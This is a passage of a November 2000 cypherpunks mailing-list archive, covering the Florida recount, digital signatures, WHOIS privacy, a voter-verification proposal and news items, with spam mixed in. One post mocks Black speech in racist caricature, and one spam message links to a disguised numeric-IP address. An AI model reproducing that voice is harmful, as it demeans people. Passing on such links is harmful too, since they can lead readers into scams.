I said on the 8th. > >Peter > > > ---------- > > From: Declan McCullagh[SMTP:declan at well.com] > > Sent: Wednesday, November 15, 2000 12:37 PM > > To: Trei, Peter > > Cc: cypherpunks at cyberpass.net; 'George at orwellian.org' > > Subject: Re: Florida Electoral defection threat! > > > > No, if Bush won Florida but not Utah, he'd have > > 246+25=271, not 270 e.v. > > > > If one elector defected, Bush would win, if two electors defected, > > Bush would win (in House), if three electors defected, Gore would win. > > > > -Declan > > > > On Wed, Nov 15, 2000 at 11:16:38AM -0500, Trei, Peter wrote: > > > Do the numbers: > > > > > > The electoral college standings are currently: > > > > > > Bush: 246 > > > Gore: 255 > > > > > > Undecided states: > > > Florida 25 > > > New Mexico 5 > > > Oregon 7 > > > > > > Total 538 > > > > > > If Bush gets Florida, but not OR & NM, he gets 270 votes, > > > and Gore gets 268. > > > > > > One Bush elector defecting puts both at 269, a dead heat. > > > > > > Peter Trei > > > > > > > > > > > > > > From atmgoldcashier at segasolution.com Wed Nov 15 10:13:16 2000 From: atmgoldcashier at segasolution.com (atmgoldcashier at segasolution.com) Date: Wed, 15 Nov 2000 13:13:16 -0500 Subject: CDR: Bravo $50.00 US dollars for you ! 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Remove: remitoff at softhome.net From maharrop at eisa.net.au Tue Nov 14 18:18:02 2000 From: maharrop at eisa.net.au (Mark Harrop) Date: Wed, 15 Nov 2000 13:18:02 +1100 Subject: CDR: CIA Website Update In-Reply-To: <200011141619.LAA13085@maynard.mail.mindspring.net> Message-ID: <5.0.0.25.2.20001115131744.02920db0@mail.eisa.net.au> Are these 16K Docs on the web somewhere ??? At 03:13 15/11/00, John Young wrote: >Nothing on the site about 16,000 newly released secret docs on >CIA murder-meddling in Chile. > > http://www.odci.gov/cia/update_service.html > >Date: Tue, 14 Nov 2000 10:30:02 -0500 (EST) >: >From: CIA Web Site Update >Subject: DCI/CIA Web Site Update E-mail Service Addition >: >Apparently-To: > >Welcome to the Director of Central Intelligence and the Central >Intelligence Agency's Web Site Update Service. You are subscribed >to the list as jya at pipeline.com. As a participant in this program, we will >notify you by e-mail whenever we add new documents to our Web Site. > >A reminder: > >We will not share your e-mail address with any third party except as >stated in our Security notice at http://www.cia.gov/cia/notices.html#sec. >Read our full Privacy notice at http://www.cia.gov/cia/notices.html#priv >and the Web Site Update Service Privacy notice specific to this service at > >http://www.cia.gov/cia/notices.html#update. Cheers! Mark Harrop maharrop at eisa.net.au Moderator of the following Programming Lists: Send a empty message to: Microsoft_Visio-subscribe at egroups.com Microsoft_net-subscribe at egroups.com Microsofts_C_Sharp-subscribe at egroups.com Microsoft_Net-subscribe at topica.com Microsoft_C_Sharp-subscribe at topica.com -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 2014 bytes Desc: not available URL: From customercare at net21.com.sg Wed Nov 15 13:29:43 2000 From: customercare at net21.com.sg (customercare at net21.com.sg) Date: Wed, 15 Nov 2000 13:29:43 -0800 Subject: CDR: Invitation Message-ID: <200011150558.VAA01697@toad.com> Dear Sir/Madam, We have just launched the Asia Export Centre, http://www.asiaexportcentre.com and we would like to invite you to add your company products and services to our Business Opportunities Bulletin Board (http://www.asean-export.com/bizopportunities). Our ASIA Export Centre (http://www.asiaexportcentre.com) has more than 50,000 members, more than 100 product categories for you to choose from. Currently our services are reaching out to members in over 100 countries and the numbers are still growing now! We have offices in Singapore, Malaysia, Philippines, China and Indonesia, and are constantly on the lookout for strategic partners. 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From bear at sonic.net Wed Nov 15 13:40:47 2000 From: bear at sonic.net (Ray Dillinger) Date: Wed, 15 Nov 2000 13:40:47 -0800 (PST) Subject: CDR: Re: digital electronic signature software In-Reply-To: Message-ID: My personal recommendation for purchasing software would be SuSE Linux. It will nearly double the speed of your Win98 machine, and comes with word processors etc having greater functionality and reliability than those you cite below. At US$55. it's not a bad deal at all. Should be available in a shrink-wrap box with support at a Circuit City, CostCo, or other brick&mortar store near you. It's also available for free download, but it's honkin' large (neighborhood of 6GB if you get all the bells & whistles), so I wouldn't try it unless you have broadband and a CD burner. Bear On Wed, 15 Nov 2000, Helen Ginsburg wrote: >Am interested in purchasing software as soon as possible for home use. Have >microsoft works 4.0 and Lotus Suite Wordpro operating on WIndows 98. Please >advise. > >Helen >_________________________________________________________________________ >Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com. > >Share information about yourself, create your own public profile at >http://profiles.msn.com. > From helen_ginsburg at hotmail.com Wed Nov 15 10:51:44 2000 From: helen_ginsburg at hotmail.com (Helen Ginsburg) Date: Wed, 15 Nov 2000 13:51:44 EST Subject: CDR: digital electronic signature software Message-ID: Am interested in purchasing software as soon as possible for home use. Have microsoft works 4.0 and Lotus Suite Wordpro operating on WIndows 98. Please advise. Helen _________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com. Share information about yourself, create your own public profile at http://profiles.msn.com. From tcmay at got.net Wed Nov 15 14:38:40 2000 From: tcmay at got.net (Tim May) Date: Wed, 15 Nov 2000 14:38:40 -0800 Subject: CDR: Re: Lawyers leading in Florida! In-Reply-To: References: Message-ID: At 4:40 PM -0500 11/15/00, R. A. Hettinga wrote: >At 10:06 AM -0800 on 11/15/00, Tim May wrote: > > >> the same lawyers who got O.J. off will get Gore into >> the White House. > >Yup. > >We're going for the Nullification Trifecta here, boys and girls: > >1. Jury Nullification -- O.J. >2. Legislative Nullification -- Cigar Willie meets the Blue Dress >3. Electorial Nullification -- Gore goes to Klaatu without a Baruda Nicto > >The republic is over, welcome to the empire? 1. "If it do not fit, you must acquit! 'Sides, if de odds a dat DNA whack shit be one in a hunderd million, and day be 200 million 'Mericans, most of dem whiteys, how come day not be lookin' for dat utter guy?" 2. "It depends on what the definition of "is" is. And I did not have sex with _that_ woman. Besides, there is no controlling legal authority." 3. "We want a re-vote until the will of the people is heard. Besides, our elderly Jewish voters were confused. 'Sides, dat ballot not be in 'Bonics so a brudda be unnerstannin' dat whack shit." The problems are obvious. The solutions equally obvious. --Tim May -- (This .sig file has not been significantly changed since 1992. As the election debacle unfolds, it is time to prepare a new one. Stay tuned.) From bill.stewart at pobox.com Wed Nov 15 15:33:44 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Wed, 15 Nov 2000 15:33:44 -0800 Subject: CDR: BRITAIN DEPLOYS 'CYBERCOPS' TO FIGHT INTERNET CRIME (Fwd) Message-ID: <3.0.5.32.20001115153344.00b23960@idiom.com> Unnamed Administration Sources forwarded this message about a new Internet-based terrorist group in Offshore Northwestern Europe: ---------------------------------------------------------------------- Britain deploys 'cybercops' to fight Internet crime By NICK HOPKINS The Guardian November 15, 2000 LONDON - The rising tide of Internet crime - hacking, porn rackets, extortion and fraud - is to be tackled in Britain by a squad of "cybercops." British Home Secretary Jack Straw said the unit will be headed by 80 officers recruited from the police, customs service, national crime squad and National Criminal Intelligence Service (NCIS). Money is also being provided to help fund a 24-hour international hotline for detectives from different countries to "trade information on potential attacks on the national infrastructure." The initiative follows intelligence that shows terrorists are increasingly using the Internet for recruitment and planning. Internet crime has soared in the last three years as criminals have begun to realize the opportunities it offers. The dissemination of computer viruses, such as the "I Love You bug," which wreaked havoc last summer, is also on the rise. Medium-sized businesses are particularly vulnerable to these kinds of attacks because they cannot afford protective filtering systems. Recent research showed that 60 percent of Britain's online businesses have suffered hacking while worrying new trends include evidence of an international Internet trade in body parts. ---------------------------------------------------------------------- (Distributed by Scripps Howard News Service. For more Guardian news go to http://www.guardian.co.uk/) _________________________________________________________________________ From tcmay at got.net Wed Nov 15 15:47:44 2000 From: tcmay at got.net (Tim May) Date: Wed, 15 Nov 2000 15:47:44 -0800 Subject: CDR: Re: BRITAIN DEPLOYS 'CYBERCOPS' TO FIGHT INTERNET CRIME (Fwd) In-Reply-To: <3.0.5.32.20001115153344.00b23960@idiom.com> References: <3.0.5.32.20001115153344.00b23960@idiom.com> Message-ID: At 3:33 PM -0800 11/15/00, Bill Stewart wrote: >Unnamed Administration Sources forwarded this message about a >new Internet-based terrorist group in Offshore Northwestern Europe: > >---------------------------------------------------------------------- >Britain deploys 'cybercops' to fight Internet crime >By NICK HOPKINS >The Guardian >November 15, 2000 > >LONDON - The rising tide of Internet crime - hacking, porn rackets, >extortion and fraud - is to be tackled in Britain by a squad of "cybercops." > >British Home Secretary Jack Straw said the unit will be headed by 80 >officers recruited from the police, customs service, national crime squad >and National Criminal Intelligence Service (NCIS). But since Havenco is completely exempt from British laws, right?, money launderers, pornographers, IRA bombers, extortionists, racketeers, and Benny Hill fans will simply relocate their machines to Havenco. Nyah, nyah, nyah. --Tim May -- (This .sig file has not been significantly changed since 1992. As the election debacle unfolds, it is time to prepare a new one. Stay tuned.) From rah at shipwright.com Wed Nov 15 13:40:39 2000 From: rah at shipwright.com (R. A. Hettinga) Date: Wed, 15 Nov 2000 16:40:39 -0500 Subject: CDR: Re: Lawyers leading in Florida! In-Reply-To: References: Message-ID: At 10:06 AM -0800 on 11/15/00, Tim May wrote: > the same lawyers who got O.J. off will get Gore into > the White House. Yup. We're going for the Nullification Trifecta here, boys and girls: 1. Jury Nullification -- O.J. 2. Legislative Nullification -- Cigar Willie meets the Blue Dress 3. Electorial Nullification -- Gore goes to Klaatu without a Baruda Nicto The republic is over, welcome to the empire? Cheers, RAH -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' From darklord at mail.jester.com Wed Nov 15 14:05:31 2000 From: darklord at mail.jester.com (Mike Binas) Date: Wed, 15 Nov 2000 17:05:31 -0500 Subject: No subject Message-ID: <200011151705.AA1371472326@mail.jester.com> can you please send me some credit card numbers. From ellie900 at usa.com Wed Nov 15 00:48:51 2000 From: ellie900 at usa.com (ellie900 at usa.com) Date: Wed, 15 Nov 2000 17:48:51 +0900 Subject: CDR: Fwd: Second Site Message-ID: YET ANOTHER CHANGE!! PLEASE TAKE A MOMENT TO CHECK OUT THE IMPROVEMENTS http://3638141293/36/1059436/newflash.htm From anonymous at openpgp.net Wed Nov 15 16:11:40 2000 From: anonymous at openpgp.net (anonymous at openpgp.net) Date: Wed, 15 Nov 2000 19:11:40 -0500 Subject: CDR: WWII biowarfare Message-ID: Soldier Testifies on Germ Warfare By MARI YAMAGUCHI, Associated Press Writer TOKYO--Yoshio Shinozuka is still haunted by the ghoulish experiments he helped carry out on captured Chinese civilians and soldiers as part of Japans top-secret biological warfare program during World War II. The Japanese military performed vivisections without anesthesia in northern China, casually referring to the people as "logs," the veteran recalled Wednesday in Tokyo District Court. "I remember using the word as we compared how many logs we cut that day with other unit members," he said. Though Shinozuka, 77, has spoken out before about his role, his testimony makes him the first member of the notorious Unit 731 to detail Japans biological warfare activities for the legal record. He was called as a witness for nearly 180 Chinese suing the Japanese government for compensation and an apology for the deaths of family members allegedly killed by the unit. Shinozuka testified about participating in the mass production of cholera, dysentery and typhoid germs at the units base in the city of Harbin in the early 1940s. He said he was often told to help out departments that needed to boost germ production for upcoming deployments, including the 1939 Nomonhan clash with Soviet troops near Mongolia and several other germ bombing attacks in southern China in the 1940s. He said that just before the Nomonhan attack, he was responsible for transferring dysentery and typhoid germs from test tubes to bigger jars, packing them into barrels, sealing them and taking them to a night train for the attack. Several unit members died after contracting typhoid. Shinozuka said he is still bothered by the vivisections, or surgical experiments on living people. "I committed all these war crimes because I was ordered to do so," he said. "The government should try to learn about the victims. I really think its time for Japan to face this issue with humanitarian consideration." Shinozuka said the unit members were prohibited from disclosing to outsiders what happened inside the unit. Notes and other written instructions were all collected afterward. Former Unit 731 pilot Shoichi Matsumoto told the court later Wednesday that he spread plague-infected fleas from an airplane over Hangzhou in 1940 and Nanjing in 1941. Matsumoto told the court he carried healthy rats from a Tokyo suburb to Harbin to get them infected with bubonic plague. He also flew to Singapore and Java with the rats. The two veterans were testifying in the case, filed in 1997, that say at least 2,100 people were killed in the experiments. The trial is expected to continue for several more months. Although some Japanese veterans such as Shinozuka have come forward in recent years and confessed to war crimes, the Japanese government has resisted making official apologies to China. Several years ago -after decades of denial -Tokyo finally acknowledged that Unit 731 existed. But it has refused to confirm the extent of its activities. Japanese textbooks too often present only brief, perfunctory accounts of the nations aggression in East Asia from the mid-1930s until the wars end in 1945. Shinozuka said one of his reasons for testifying was disappointment with the governments efforts to come clean about the war, and said he was deeply sorry for his actions. "What I have done was something that nobody should have done as a human being," he said. "I cannot escape that responsibility." http://www.latimes.com/wires/20001115/tCB00V0223.html From anonymous at openpgp.net Wed Nov 15 16:12:27 2000 From: anonymous at openpgp.net (anonymous at openpgp.net) Date: Wed, 15 Nov 2000 19:12:27 -0500 Subject: CDR: New World Order .health Message-ID: <3X57D74C36846.0501273148@anonymous.poster> WHO has proposed the creation of ".health" to join the small group of Internet top-level domains (TLDs) such as ".com" and ".org" that currently help users locate websites in their chosen field of interest http://www.who.int/inf-pr-2000/en/pr2000-72.html From anonymous at openpgp.net Wed Nov 15 16:35:36 2000 From: anonymous at openpgp.net (anonymous at openpgp.net) Date: Wed, 15 Nov 2000 19:35:36 -0500 Subject: CDR: CIA proctologists Message-ID: US Citizenship is required, as is successful completion of a medical evaluation, polygraph interview and an extensive background investigation. A "medical evaluation"?? http://www.odci.gov/cia/employment/jobpostings/architectstud.htm From anonymous at openpgp.net Wed Nov 15 16:54:39 2000 From: anonymous at openpgp.net (anonymous at openpgp.net) Date: Wed, 15 Nov 2000 19:54:39 -0500 Subject: CDR: ICANNt have privacy with whois Message-ID: Public Records Questioned on Web By ANICK JESDANUN, AP Internet Writer MARINA DEL REY, Calif.--As more individuals build their own Web sites, some privacy advocates now question requirements that the site owners disclose their personal contact information. Names, e-mail addresses, postal addresses and telephone numbers for more than 24 million domain names are stored in databases called Whois. The information is available to anyone with an Internet connection. Its like a global phone directory -without the option for an unlisted number. "Sacrificing your privacy should not be a condition of access to the domain space," said Alan Davidson, staff counsel with the Center for Democracy and Technology. Most people may not care and would list their contact information anyway, just like most telephone customers now list their numbers. But Davidson said Internet users ought to have a choice -for instance, they may want to stay anonymous if they are human rights advocates and other dissidents fearful of repercussion from oppressive governments. Ellen Rony, author of the Domain Name Handbook, said she knew of someone stalked based on information from the databases. On the other hand, she said, the tool proves helpful for researchers to gauge the origins and veracity of Web sites, and the stalking incident appears an aberration. "I can see both sides," she said. "Historically, Whois is always public." The Internet Corporation for Assigned Names and Numbers, which oversees the master record keeper of Web addresses and the domain registration companies, currently requires disclosure of contact information for holders of .com, .net and .org names. Andrew McLaughlin, ICANNs chief policy officer, said the organization may have to revisit Whois policies next year, but it is not on the agenda for its annual meeting this week. Part of the drive comes from the European Union, which passed a law prohibiting the transfer of data to the United States and other non-EU countries that dont meet EU standards for protecting personal information. Back in the 1980s, when the Whois database was developed, Internet privacy wasnt a big deal. The Internet was mostly a research tool for government and universities. "We all knew each other," said Karl Auerbach, a longtime Internet user who was recently elected to ICANN. But these days, Auerbach said, that same Whois database creates unwanted e-mail and unsolicited phone calls. Davidson said times have changed, and the Internet must change as well. "Now, you have regular people using it and theres a much greater need to protect privacy," he said. Registration companies offer access to the databases in order to let users determine whether the domain names they want are available. But when a name is taken, the registrar often links to the records for that name as well. The idea is to help users contact the names owner for possible purchase, even though the databases originally helped computer administrators contact one another when networks go awry. Lawyers also use the databases to check on names that may tread on their clients trademark rights. Steven J. Metalitz, vice president for the International Intellectual Property Alliance, said such open access is important to deter abusers. At VeriSign Global Registry Services, which runs the databases for .com, .net and .org, Vice President Chuck Gomes said technology may settle the issue in the next year or two. New tools, he said, could help meet the needs of law enforcement officials and trademark owners while protecting privacy for individuals in other circumstances. In the meantime, the records remain open, and many of the proposals for new domain suffixes call for open Whois databases as well. "Its the model thats out there," said John Kane, head of a marketing task force for Afilias, which is seeking a .web suffix. "Its a public resource. You dont own a domain name. You own the right to use it." http://www.latimes.com/wires/20001115/tCB00V0232.html From ravage at ssz.com Wed Nov 15 18:15:02 2000 From: ravage at ssz.com (Jim Choate) Date: Wed, 15 Nov 2000 20:15:02 -0600 (CST) Subject: CDR: Re: Greetings In-Reply-To: <23391-3A0D3F33-5346@storefull-135.iap.bryant.webtv.net> Message-ID: On Sat, 11 Nov 2000 CrimsonShroud at webtv.net wrote: > I stumbled upon your threads of interesting debates, and would like to > ask if I could join in? Yes, but first you have to get off toad. See, http://einstein.ssz.com/cdr/index.html ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From JONCON88 at aol.com Wed Nov 15 17:33:43 2000 From: JONCON88 at aol.com (JONCON88 at aol.com) Date: Wed, 15 Nov 2000 20:33:43 EST Subject: CDR: hey ummm... Message-ID: how do you make a stink bomb? From bear at sonic.net Wed Nov 15 17:56:49 2000 From: bear at sonic.net (Ray Dillinger) Date: Wed, 15 Nov 2000 20:56:49 -0500 Subject: CDR: Re: CIA proctologists In-Reply-To: Message-ID: On Wed, 15 Nov 2000 anonymous at openpgp.net wrote: >US Citizenship is required, as is successful completion of a medical evaluation, polygraph interview and an extensive background investigation. > >A "medical evaluation"?? > >http://www.odci.gov/cia/employment/jobpostings/architectstud.htm Pretty standard procedure. A medical evaluation can detect drug users, alcohol users, people whose brain chemistry is different, etc. It can also detect people who are likely to be more or less expensive to insure, people who need drugs (from insulin to psychopharmaceuticals) to function normally, and people with more than a "reasonable" number of knife-fight scars, which might indicate that someone is too rash or hotheaded. It also gets them DNA samples etc, which they can later use to positively identify you if you ever get implicated in anything criminal or controversial. And finally, they will wind up knowing all about your tattoos and brands if any, which will point out people who were in certain gangs and societies during certain time periods. That's just part of the job. If you're going to handle secret material for any government, that government will want to know everything about you no matter how invasive, and they will want to own every possible bit of leverage anyone can have on you, and they want to be damned sure that no one else has any leverage on you that they don't know about. Medical examinations are just one aspect of that. I bet they audit someone's taxes for the last six years before they hire them, too. Bear From galt at inconnu.isu.edu Wed Nov 15 20:02:38 2000 From: galt at inconnu.isu.edu (John Galt) Date: Wed, 15 Nov 2000 21:02:38 -0700 (MST) Subject: CDR: Re: hey ummm... In-Reply-To: Message-ID: Hand John Travolta a SF book by Elron? On Wed, 15 Nov 2000 JONCON88 at aol.com wrote: > how do you make a stink bomb? > -- Who is John Galt? Failure is not an option. It comes bundled with your Microsoft product. -- Ferenc Mantfeld From measl at mfn.org Wed Nov 15 19:08:59 2000 From: measl at mfn.org (J.A. Terranson) Date: Wed, 15 Nov 2000 21:08:59 -0600 (CST) Subject: CDR: Re: your mail In-Reply-To: <200011151705.AA1371472326@mail.jester.com> Message-ID: On Wed, 15 Nov 2000, Mike Binas wrote: > Date: Wed, 15 Nov 2000 17:05:31 -0500 > From: Mike Binas > To: cypherpunks at toad.com > > can you please send me some credit card numbers. > 5, 12, 7, 194 -- Yours, J.A. Terranson sysadmin at mfn.org If Governments really want us to behave like civilized human beings, they should give serious consideration towards setting a better example: Ruling by force, rather than consensus; the unrestrained application of unjust laws (which the victim-populations were never allowed input on in the first place); the State policy of justice only for the rich and elected; the intentional abuse and occassionally destruction of entire populations merely to distract an already apathetic and numb electorate... This type of demogoguery must surely wipe out the fascist United States as surely as it wiped out the fascist Union of Soviet Socialist Republics. The views expressed here are mine, and NOT those of my employers, associates, or others. Besides, if it *were* the opinion of all of those people, I doubt there would be a problem to bitch about in the first place... -------------------------------------------------------------------- From info at ccstrade.com Wed Nov 15 19:53:11 2000 From: info at ccstrade.com (Capitol Commodity Services, Inc.) Date: Wed, 15 Nov 2000 21:53:11 -0600 Subject: CDR: (CCS New Release) Futures Outlook, Broadcast Message-ID: <20001116035311.A057E35A84@entropic.ccstrade.com> Dear Client/Subscriber, Now that our new site has been released, we wanted to make you aware of two new items available to you: 1.) The Fall Futures Outlook. A comprehensive 100+ page report, covering many aspects of all major markets including fundamental and technical analysis, both short term and long term, from stocks, interest rates, currencies ... to grains, softs, meats ... etc. 2.) Live broadcast direct from analysts on the floor of the exchanges. The flash broadcast after last Thursday's important USDA Crop Production report gave us an immediate interpretation of the numbers. Check out the Initial Snapshot Report and the six page follow-up under "Research" on our website. Here's a link for your convenience. http://www.ccstrade.com/ccs/research/ Look for additional new releases and upgrades over the next several weeks. As always, we appreciate your business and continued support. Thank You, Lannie Cohen, President Capitol Commodity Services, Inc. http://www.ccstrade.com/ (800) 876-8050 (317) 848-8050 From ravage at ssz.com Wed Nov 15 20:11:59 2000 From: ravage at ssz.com (Jim Choate) Date: Wed, 15 Nov 2000 22:11:59 -0600 (CST) Subject: CDR: Schneier: Why Digital Signatures are not Signatures (was Re: CRYPTO-GRAM, November 15, 2000) In-Reply-To: Message-ID: On Wed, 15 Nov 2000, R. A. Hettinga forwarded from a 3rd party: > > When the same judge sees a digital signature, he doesn't know anything > > about Alice's intentions. He doesn't know if Alice agreed to the document, > > or even if she ever saw it. It's nice to see somebody else recognize the fundamental flaw with PKC is the god-damned key management. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From mnorton at cavern.uark.edu Wed Nov 15 20:19:26 2000 From: mnorton at cavern.uark.edu (Mac Norton) Date: Wed, 15 Nov 2000 22:19:26 -0600 (CST) Subject: CDR: Re: Schneier: Why Digital Signatures are not Signatures (was Re: CRYPTO-GRAM, November 15, 2000) In-Reply-To: Message-ID: INteresting, but seems to assume that Alice entered her key without seeing the relevant record, or that same was substituted after key entry. Plausible? yes. Practical? help. Easy? help, please. MacN From mnorton at cavern.uark.edu Wed Nov 15 20:34:42 2000 From: mnorton at cavern.uark.edu (Mac Norton) Date: Wed, 15 Nov 2000 22:34:42 -0600 (CST) Subject: CDR: Schneier: Why Digital Signatures are not Signatures (was Re: CRYPTO-GRAM, November 15, 2000) In-Reply-To: Message-ID: I think we knew that, but the particular problem posited here is that Alice's sig can be associated with a record she never saw, an acute symptom, not a chronic one, I'd hope. But I have asked for education in that regard, and hope it's forthcoming. MacN On Wed, 15 Nov 2000, Jim Choate wrote: > > On Wed, 15 Nov 2000, R. A. Hettinga forwarded from a 3rd party: > > > > When the same judge sees a digital signature, he doesn't know anything > > > about Alice's intentions. He doesn't know if Alice agreed to the document, > > > or even if she ever saw it. > > It's nice to see somebody else recognize the fundamental flaw with PKC is > the god-damned key management. > > ____________________________________________________________________ > > He is able who thinks he is able. > > Buddha > > The Armadillo Group ,::////;::-. James Choate > Austin, Tx /:'///// ``::>/|/ ravage at ssz.com > www.ssz.com .', |||| `/( e\ 512-451-7087 > -====~~mm-'`-```-mm --'- > -------------------------------------------------------------------- > > > From petro at bounty.org Wed Nov 15 22:41:01 2000 From: petro at bounty.org (petro) Date: Wed, 15 Nov 2000 22:41:01 -0800 Subject: CDR: Re: [ca-firearms] voting In-Reply-To: <200011151114.DAA11126@mercury.hypersurf.com> References: <200011151114.DAA11126@mercury.hypersurf.com> Message-ID: >> From: petro >> >> It would be fairly simple to eliminate *most* of the current >> voter fraud schemes, and fairly inexpensive. > >Please provide details of this simple technique for >eliminating voter fraud. I've always found utopian >fantasies intriguing. "Reading Comprehension Counts". Please re-read the sentence you quoted. I do not claim that it would be fairly simple to eliminate *all* voter fraud, simply to eliminate *most* of the current schemes, and at only a fairly small increase over what is now spent. Heck, in the long run it might even save money. > >(In formulating your prospectus, please keep in mind >and provide detailed specifications for dealing with the >old bugaboo identified by our old pal Juvenal: "Sed >quis custodiet ipsos Custodes? [Who will guard the >guards themselves?]" Statistics. Keep in mind that I haven't spent days or weeks working on this, and I am sure that this will open up *new* methods of fraud, but I don't claim to be able to prevent that. As in many security protocols, the goal is simply to make it more "expensive" to cheat the system than it is to go along with it, so the first step is to make registration require a little more effort. All rolls are purged after every general election. This way you need to re-register after every election. All registrations *must* be done in person, with the exception of those not *physically* present in the state for more than 5 consecutive business days during the registration period. For those people, they may request an "absentee registration request card", which they fill out, have notarized (the notary is simply notarizing that the card is filled out, not that the person filling out the card did so accurately). If constitutional (and I assume this is questionable) and feasible (this part I haven't worked out yet) one must show "proof of citizenship". It's tough, because we don't yet have "papers", and I don't really advocate mandating "papers". In fact I strongly disagree with papers. One suggestion I've heard is to require the presentation of some sort of proof of paying income tax, or at least filing for income tax, on the theory that anyone who pays into the system ought to have a say in it. I don't necessarily disagree with that. At the time of registration a "registration card" is handed to the individual. They are informed (in writing) that in order to vote they *must* present this card. This card contains a mag strip with a unique number (that is not linked to the individual), and a bar code that is the encrypted version of that number done with a the public half of a key (to prevent forgery). That key changes from election to election. The registrant must also sign for the card, and print their name. This is not to be tied to the number on the card, but just to account for every card. Each polling place has a swipe card reader and a bar-code scanner. These are used to check that each card is "proper" by checking that the number on the back is encrypted with the proper key. (this way the private key isn't released until *very* shortly before the election). At the polling place, the "voting machines" are changed so that when you punch a whole, it records vote electronically, as well as providing a swipe card reader. When you are finished voting, it prints the ballot with your choices for each office in an OCR font, and a bar code with a hash of votes at the bottom (using a different large random number). The machine then wipes everything *but* the hash, and this new number. (this completely disconnects the voter from the ballot). The voter then visually examines the ballot to make sure it is correct. If they are happy with it (well, that it's correct anyway) and then presses a "I'm done" button. This checks in the voter number and the hash, and the new random number, (stores it either on board, or on a machine on a "lan" (wire the polling place) the machine on the lan can be made fairly fault tolerant) (the voter number is to check for "double spending", the hash is a checksum for validation, the random number is for later verification). The "I'm done" also prints out a second card identical to the first. One is for the individual, should they wish to keep it, to later validate that their vote was counted properly. The other (since they are identical) goes into a sleeve (to prevent prying eyes) and into the ballot box. If they are not happy with it, they push the "do over" button, and start back from the top. Repeat as necessary until satisfied. After the polls have closed, the ballots and the vote counter (the machine storing the hashes and numbers) are taken to the collection point, where the hashes & random numbers are uploaded (at this point I think the voter number will no longer be needed), and the as each ballot is counted, it is marked off against the hash it matches. Then this list is made public (the list of hashes and random numbers). Each voter can then (if they care to) check their random number (either on line, or in a trip down to the local polling place). There would also be a reduced number of "ruined" ballots, since each ballot is human readable, and printed twice if one side gets screwed up, the other should still be useful. If that fails, then a human *should* be able to read as much of it as possible. Failing that, it simply gets listed as "unreadable", and if they voter checks, they can come down with their original ballot and present it for the count. Absentee ballots would be slightly problematic in this, but much of this could be done using a simple PC/Macintosh program, so Military bases could easily accommodate their soldiers & sailors. (Well, the marines and the flyboys as well). I would also provide a 96 hour period for counts to take place, as well as for people to be able to challenge the vote--if they can show that their vote wasn't properly counted (provable by presentation of a ballot) then things are rechecked. Since the ballots are now printed with an OCR font AND a bar code, they can still be machine read *AS WELL AS* easily verified by hand. The voting process remains (absent the registration process) almost identical to the current one. There is no use of cryptographic protocols to *protect* the voting, only to check for fraud and provide strong accounting. I believe that this would make fraud *much* harder to get away with, and eliminate much of what I have seen and heard about in the way of fraud--the "stiff wire" used to create invalid ballots, the dumping of large numbers of ballots in the trash, the "lost" ballot boxes, etc. It also makes things like voting the dead harder--since each card has to be signed for each election. Maybe there are things I've missed, and maybe this wouldn't be as cheap as I believe it to be, but I belive it would be a damn sight more secure than we have today. -- "To be governed is to be watched, inspected, spied upon, directed law-driven, numbered, regulated, enrolled, indoctrinated, preached at, controlled, checked, estimated, valued, censured, commanded, by creatures who have neither the right nor the wisdom nor the virtue to do so. To be governed is to be at every operation, at every transaction, noted, registered, counted, taxed, stamped, measured, numbered, assessed, licensed, authorized, admonished, prevented, forbidden, reformed, corrected, punished."--Pierre Proudhon From ravage at einstein.ssz.com Wed Nov 15 20:46:11 2000 From: ravage at einstein.ssz.com (Jim Choate) Date: Wed, 15 Nov 2000 22:46:11 -0600 (CST) Subject: Schneier: Why Digital Signatures are not Signatures (was Re: CRYPTO-GRAM, November 15, 2000) In-Reply-To: Message-ID: On Wed, 15 Nov 2000, Mac Norton wrote: > INteresting, but seems to assume that Alice entered her key without > seeing the relevant record, or that same was substituted after key > entry. Plausible? yes. Practical? help. Easy? help, please. Actualy there is a whole host of issues with key management in regards PKC and scaling to really usable system sizes. As Bruce points out, a major one is the identity authentication. And you can't use a levels of indirection (i.e. a key to certify a key add infinitum). Another is scaling, the problem with PGP is it's too hard to manage large (i.e. 100's of Millions of keys) at the individual level. Yet any usable systems must do just that. What organization resolves protocols and who decides whom the primary implimentor will be? Consider the code base validation issue? Compare closed and open source approaches, they each have some interesting problems. My personal opinion is the only workable system is a 3-party with the 3rd party acting as arbiter/notary. It is also just as clear that that group can't be either a government agency or a profit making business. I also believe that an OS along the Plan 9 lines is the ideal Internet framework. The Austin Cypherpunks ran an anonymous remailer for about a year and we discussed some of the issues we found on the cypherpunks list. You might look back at the archives from about 2-3 years ago. The machine was called kourier.ssz.com (it's long dead). There were also some legal liability issues that our meager legal skills simply didn't resolve, and we didn't have the money to do it professionaly. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From rah at shipwright.com Wed Nov 15 19:51:06 2000 From: rah at shipwright.com (R. A. Hettinga) Date: Wed, 15 Nov 2000 22:51:06 -0500 Subject: CDR: Schneier: Why Digital Signatures are not Signatures (was Re: CRYPTO-GRAM, November 15, 2000) In-Reply-To: <4.2.2.20001115165119.00ce3bb0@chaparraltree.com> References: <4.2.2.20001115165119.00ce3bb0@chaparraltree.com> Message-ID: At 5:58 PM -0600 on 11/15/00, Bruce Schneier wrote: > Why Digital Signatures Are Not Signatures > > > > When first invented in the 1970s, digital signatures made an amazing > promise: better than a handwritten signature -- unforgeable and 